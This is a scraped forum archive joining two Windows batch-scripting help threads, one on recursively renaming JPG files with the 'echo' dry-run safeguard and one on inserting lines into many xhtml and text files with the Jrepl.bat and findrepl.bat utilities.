Code: [Select]C:\Batch\Test>test.bat
REN "C:\Batch\Test\apicture.full.jpg" "apicture.crop.jpg"
REN "C:\Batch\Test\sub1\testpicture.full.jpg" "testpicture.crop.jpg"
REN "C:\Batch\Test\sub1\sub2\anotherpicture.full.jpg" "anotherpicture.crop.jpg"
Finished
Press any key to continue . . . Quote from: Error Returned
File Not Found
Finished
Press any key to continue . . .

This looks awesome. I had no idea you could write scripts like this for the Command Line. Sadly, it isn't working yet. I have a test directory structure set up like this:
  • Grandma Photos (root dir)
  • Image0.crop.jpg
    • Grandma Trip 1 (1st Level sub dir)
      • Image1.crop.jpg
      • Image2.crop.jpg
    • Grandma Trip 2 (1st Level sub dir)
      • Image3.crop.jpg
      • Image4.crop.jpg
Folders = Red
Files = BlueInterchange crop and full in my scriptAlso posted here.
http://www.dostips.com/forum/viewtopic.php?f=3&t=7066Quote from: Squashman on April 07, 2016, 09:45:46 AM
Also posted here.
http://www.dostips.com/forum/viewtopic.php?f=3&t=7066
I received a workable solution at this link the other day. Then I CHECKED my email, saw this response, and it seemed impossible. My understanding of the command line is that you can do single line commands. This one is written more like code form a programming language. I was extremely intrigued and wanted to understand how this worked. When it didn't work I decided to follow up with it rather than announce I no longer needed it. I apologize if my actions have upset anyone .

Quote from: Salmon Trout on April 07, 2016, 12:48:49 AM
Interchange crop and full in my script
While the script runs all the way through, none of the actual file names are changed . This is the output:

I used a common testing safeguard, namely to preface the rename command with 'echo' so that you can first verify the renames are correct. I showed you how to deal with this, when I previously posted this above:

Quote
if it shows the right renames
change this line:
echo REN "!oldname!" "!newname!"
to this:
REN "!oldname!" "!newname!"
Quote from: Mulsiphix on April 07, 2016, 12:15:07 PM
My understanding of the command line is that you can do single line commands. This one is written more like code form a programming language.
At the command prompt you can only enter single line commands but you can combine them in a 'batch script'. The language is called Windows command language, or Windows batch language. You can find numerous reference guides to the syntax online.
Quote from: Salmon Trout on April 07, 2016, 12:38:19 PM
I used a common testing safeguard, namely to preface the rename command with 'echo' so that you can first verify the renames are correct. I showed you how to deal with this, when I previously posted this above:
I mean none of the actual file names on the hard drive are changed. The batch still isn't affecting the files. I made the change you requested previously. Just to be certain, this is what I'm running:

Code: [Select]@echo off
setlocal enabledelayedexpansion
for /f %%A in ('dir /s /b *.crop.jpg') do (
set folder=%%~dpA
set filename=%%~nA
set oldname=!folder!%%~nA.jpg
set newname=!filename:~0,-5!.full.jpg
echo REN "!oldname!" "!newname!"
)
echo Finished
Pause
Quote from: Salmon Trout on April 07, 2016, 12:43:14 PM
At the command prompt you can only enter single line commands but you can combine them in a 'batch script'. The language is called Windows command language, or Windows batch language. You can find numerous reference guides to the syntax online.
That is awesome. I had no idea. Considering it's utility, I'm definitely going to make an effort. I recently took the time to really try and learn AutoHotKey. It has changed my life, but there are some things (like recursive renaming) that are overly complicated without a higher degree of programming knowledge and prowess. So this is welcome news. Thank you for cluing me in Quote
Just to be certain, this is what I'm running:
Code: [Select]@echo off
setlocal enabledelayedexpansion
for /f %%A in ('dir /s /b *.crop.jpg') do (
set folder=%%~dpA
set filename=%%~nA
set oldname=!folder!%%~nA.jpg
set newname=!filename:~0,-5!.full.jpg
echo REN "!oldname!" "!newname!"
)
echo Finished
Pause

Can you see the big red echo? You need to delete this, as I said above (twice).

@echo off
setlocal enabledelayedexpansion
for /f %%A in ('dir /s /b *.crop.jpg') do (
set folder=%%~dpA
set filename=%%~nA
set oldname=!folder!%%~nA.jpg
set newname=!filename:~0,-5!.full.jpg
echo REN "!oldname!" "!newname!"
)
echo Finished
PauseEgg on my face . I thought your reference to echo was explaining the output I saw in the CMD window. I had no idea it was actually interfering with the OPERATION of the batch. I have made the change and the script is now returning errors.

Code: [Select]@echo off
setlocal enabledelayedexpansion
for /f %%A in ('dir /s /b *.crop.jpg') do (
set folder=%%~dpA
set filename=%%~nA
set oldname=!folder!%%~nA.jpg
set newname=!filename:~0,-5!.full.jpg
REN "!oldname!" "!newname!"
)
echo Finished
Pause


I'm messing with the script and I'm getting now here simply fiddling with various parts of it. So I used some echo's and figured out the variables aren't holding the correct information. No clue how to fix that, but its a start. If you'd like to just pass on this, given I have a workable solution and I very well may just be aggravating you at this point, I completely understand. Thank you so MUCH for your help thus far. I appreciate you taking a moment to help me learn .

You'll notice "-=-=" appears in the Filename variable below. While the batch is in the root of the Grandma Photos directory, Grandma Photos itself is within a folder named "-=-= test dir 2 =-=-". Seems like Filename is somehow pulling a portion of that directory name instead.

what do you see if you open a command prompt in the folder where the batch is located, and type (or paste) this at the prompt and hit ENTER?

dir /s /b *.crop.jpg


Quote from: Salmon Trout on April 07, 2016, 01:51:37 PM
what do you see if you open a command prompt in the folder where the batch is located, and type (or paste) this at the prompt and hit ENTER?

dir /s /b *.crop.jpg



Also, I tried changing the test dir's name to one with no spaces and ran the echo modified script again. This returned the following:

5800.

Solve : How to insert a line of code into multiple xhtml files?

Answer»

My troubles began when I created hundreds of xhtml files for several epub ebooks and didn't place certain code into them.
So now I am looking for a way to insert a line of code into all these xhtml files if one swoop, without manually opening each one and pasting the code.

The code needs to be placed within the tags. since the xhtml files can easily be converted to simple txt files, and then converted back I thought/think it would not be really toooooo difficult.

The code strings I'd like to insert are like the following:
Code: [Select]<style>
img {
align:middle;
max-width: 95%;
height: auto;
}
</style>
which can easily be rendered as:
Code: [Select]<style>img{align:middle;max-width:95%;height:auto;}</style>
The other code string is:
Code: [Select]<link rel="stylesheet" type="text/css" href="styles.css" />
Note: All xhtml files are located in a single directory, a good thing!

Would be most appreciative for some help.

Brian


This uses a native Windows batch script called Jrepl.bat written by dbenham, which uses jscript to make it robust and swift.
http://www.dostips.com/forum/viewtopic.php?f=3&t=6044

Place Jrepl.bat in the same folder as the batch file, or in a folder that is on the system path.


There is also copy on Dropbox (unblock it after downloading):
https://www.dropbox.com/s/4otci4d4s8x5ni4/Jrepl.bat





Code: [Select]@echo off
for /f "delims=" %%a in ('dir *.xhtml /b /a-d ') do (
echo processing "%%a"
call jrepl "<head>" "<head><style>img{align:middle;max-width:95%%%%;height:auto;}</style><link rel=\qstylesheet\q type=\qtext/css\q href=\qstyles.css\q />" /L /x /f "%%a" /o -
)
pause
Hello Foxidrive

Not to hijack this in any way but curious..

I was following this one because it caught my interest to see what becomes of it. I can see this beneficial in many ways other than xhtml and was wondering what would be required to insert information between 2 lines as its own line such as if you can add a line count to specify for it to insert on the 8th line no matter what information was proceeding etc?

In the past I have had to WRITE a program that passes text from the original file to the new temp file and stop writing to the new temp file at a string or character flag, or even character count to reach and then append information that needed to be added in, and then follow through picking up where it left off at the character count to append the information from the original file to the new temp file to have the information added in the temp file, then delete the original file but then rename the temp file as the original file name.

So I guess the question is ... is there a way to specify which line to write information to, to shove the information at that line number, and all other lines below it down a line for the new information to be added using batch without looking for a string, character, or character count as the trigger to when to add information?Quote from: foxidrive on February 26, 2016, 02:17:03 AM

This uses a native Windows batch script called Jrepl.bat written by dbenham, which uses jscript to make it robust and swift.
http://www.dostips.com/forum/viewtopic.php?f=3&t=6044

Place Jrepl.bat in the same folder as the batch file, or in a folder that is on the system path.



Code: [Select]@echo off
for /f "delims=" %%a in ('dir *.xhtml /b /a-d ') do (
echo processing "%%a"
call jrepl "<head>" "<head><style>img{align:middle;max-width:95%%%%;height:auto;}</style><link rel=\qstylesheet\q type=\qtext/css\q href=\qstyles.css\q />" /L /x /f "%%a" /o -
)
pause

@foxdrive,
Thanks for the code help. Thought I have not tried it yet, I am hoping it will do the trick.

Q: the section of code you wrote contains:

Code: [Select]call jrepl "<head>" "<head>...
normally in html the tags are:
Code: [Select]<head></head>...
In other words the closing head tag includes a backslash. Should your code include this or am i interpreting it wrong?
Thanks!

UPDATE:
Well, I ran the code on three dummy xhtml files and it did exactly as asked for. I guess I just do not understand the code you wrote as well as I thought.

Can I assume that these bath files would allow me to insert a single line of text/code after any specified html tag, or text string.
Example: Code: [Select]<div> or <p> or even the word string "in the end"
Also, DaveLembke's question is most welcome here as well. Ya never know when you might need that as well.

I suppose that reading about the Jrepl.bat and it's possibilities would be helpful. It appears to be quite extensive. WOW! Nice code. I just executed it on more than 100 files and it took less than a minute, something that would have taken me "hours?" to do manually.

Really appreciate the help...foxidrive's the Man...Thank you patio and guys, you're kind.

Regarding Quote from: DaveLembke on February 26, 2016, 06:25:13 AM
is there a way to specify which line to write information to, to shove the information at that line number, and all other lines below it down a line for the new information to be added using batch without looking for a string, character, or character count as the trigger to when to add information?

There's another great tool by aacini which is also based on jscript:

Using findrepl.bat this task could be achieved as this sample shows:

findrepl /O:S:E <"file.txt" in this syntax redirects the file and Outputting from line Start to line End

If End is omitted then it continues to the end of the file.

Code: [Select]@echo off
set "file=sample.txt"

echo ======================
(
echo one wife
echo two girlfriends
echo three beers
echo four apples
echo five pears
echo SIX shooter
echo seven samurai
echo eight harley davidson's
) >"%file%"
type "%file%"
echo ======================

REM The code above just creates the sample text file.
REM The code below takes lines 1 to 5, adds a new line 6, and then takes line 6 to the end of the file

(
call findrepl /o:1:5 <"%file%"
echo new line six
call findrepl /o:6 <"%file%"
)>"%file%.2"
move /y "%file%.2" "%file%" >nul

type "%file%"
echo ======================
pause
del "%file%"



This uses a native Windows batch script called Findrepl.bat written by Aacini
http://www.dostips.com/forum/viewtopic.php?f=3&t=4697

Place Findrepl.bat in the same folder as the batch file, or in a folder that is on the system path.

There is also copy on Dropbox (unblock it after downloading):
https://www.dropbox.com/s/rfdldmcb6vwi9xc/findrepl.bat


======================
one wife
two girlfriends
three beers
four apples
five pears
six shooter
seven samurai
eight harley davidson's
======================
one wife
two girlfriends
three beers
four apples
five pears
new line six
six shooter
seven samurai
eight harley davidson's
======================
Press any key to continue . . .Sweet! Thanks Foxidrive for your additional effort on this one. Saving this info for fact that I know I will be using it in the future. In the past I had to manually go into files requiring info added at a specific (line) placeholder within the file when there was no constant to look for among the files. Hopefully some others find this helpful too.

Example of this in some machinery that has config files and many of them, and adding an additional step in the text file ladder logic for PLC etc

Move x=123.45
Move y=23.456
Pause = 3000ms
Move x=-123.45
Move y=-23.456

and you want something else done in between but yet get back to the home position. Such as Z axis punching metal at a certain depth punch from its reference or home location. Below Z axis info can be added with the solution you shared no matter what information is on line 2 for Y axis and the Pause = 3000ms delimiter method isnt always there either to hunt for ms and write a line after that.

Move x=123.45
Move y=23.456
Pause = 3000ms
Move z= 53.20
Move z=-53.20
Pause = 3000ms
Move x=-123.45
Move y=-23.456

Because the values for the 2nd line for example will be different, but the Z axis punch will always punch metal at same depth just different locations, prior to you sharing your solution I had to manually go into each and every file and edit it. The machinery an engineering nightmare botched together did not come with a nice GUI or even DOS based config file job editor so you actually freely move the axis by hand onto position and measure its placement and then write down the encoder values for XYZ in which you enter this information into config files, and monitor the encoder information with software you can see real time encoder tic positions for all 3 axis for a machine that punches or stamps metal depending on depth of Z axis.

Quote from: DaveLembke on February 27, 2016, 05:40:01 AM
Sweet! Thanks Foxidrive for your additional effort on this one.

I'm glad that it's handy for your computer controlled gear.

Aacini (Antonio) and Dave Benham have really changed the way I approach batch scripts, with all their handy scripts and utilities - so useful.

A mate has a company doing laser etching, all modern stuff to me, and the staple for many years of the business has been doing engraving with older machines - some of them are controlled by Apple 2+ PCs.

Your TASKS seem similar in nature with metalwork. :thumbsup:

When it comes to machines, the computers that went with them generally get used far BEYOND the normal home or business computing use. When they are slow in comparison to newer computers, for a machine its the perfect pairing of hardware and software. Sometimes your even stuck with some machines that have ISA control cards etc having to stick to a computer for the machine that has an ISA slot, and even you might even have to stick with a specific CPU or CPU speed so that execution is not too fast for example in which a machine run initially on a 386 DX 33Mhz CPU with a 486 DX 66Mhz might execute too much faster and the machine might thrash itself to death at 2X the clock as before + a CPU that is faster due to core design of coming to a solution to its execution etc. I have had to shop ebay before for specific legacy computers before to pair a machine up with a healthy computer of same or very similar spec to avoid this problem.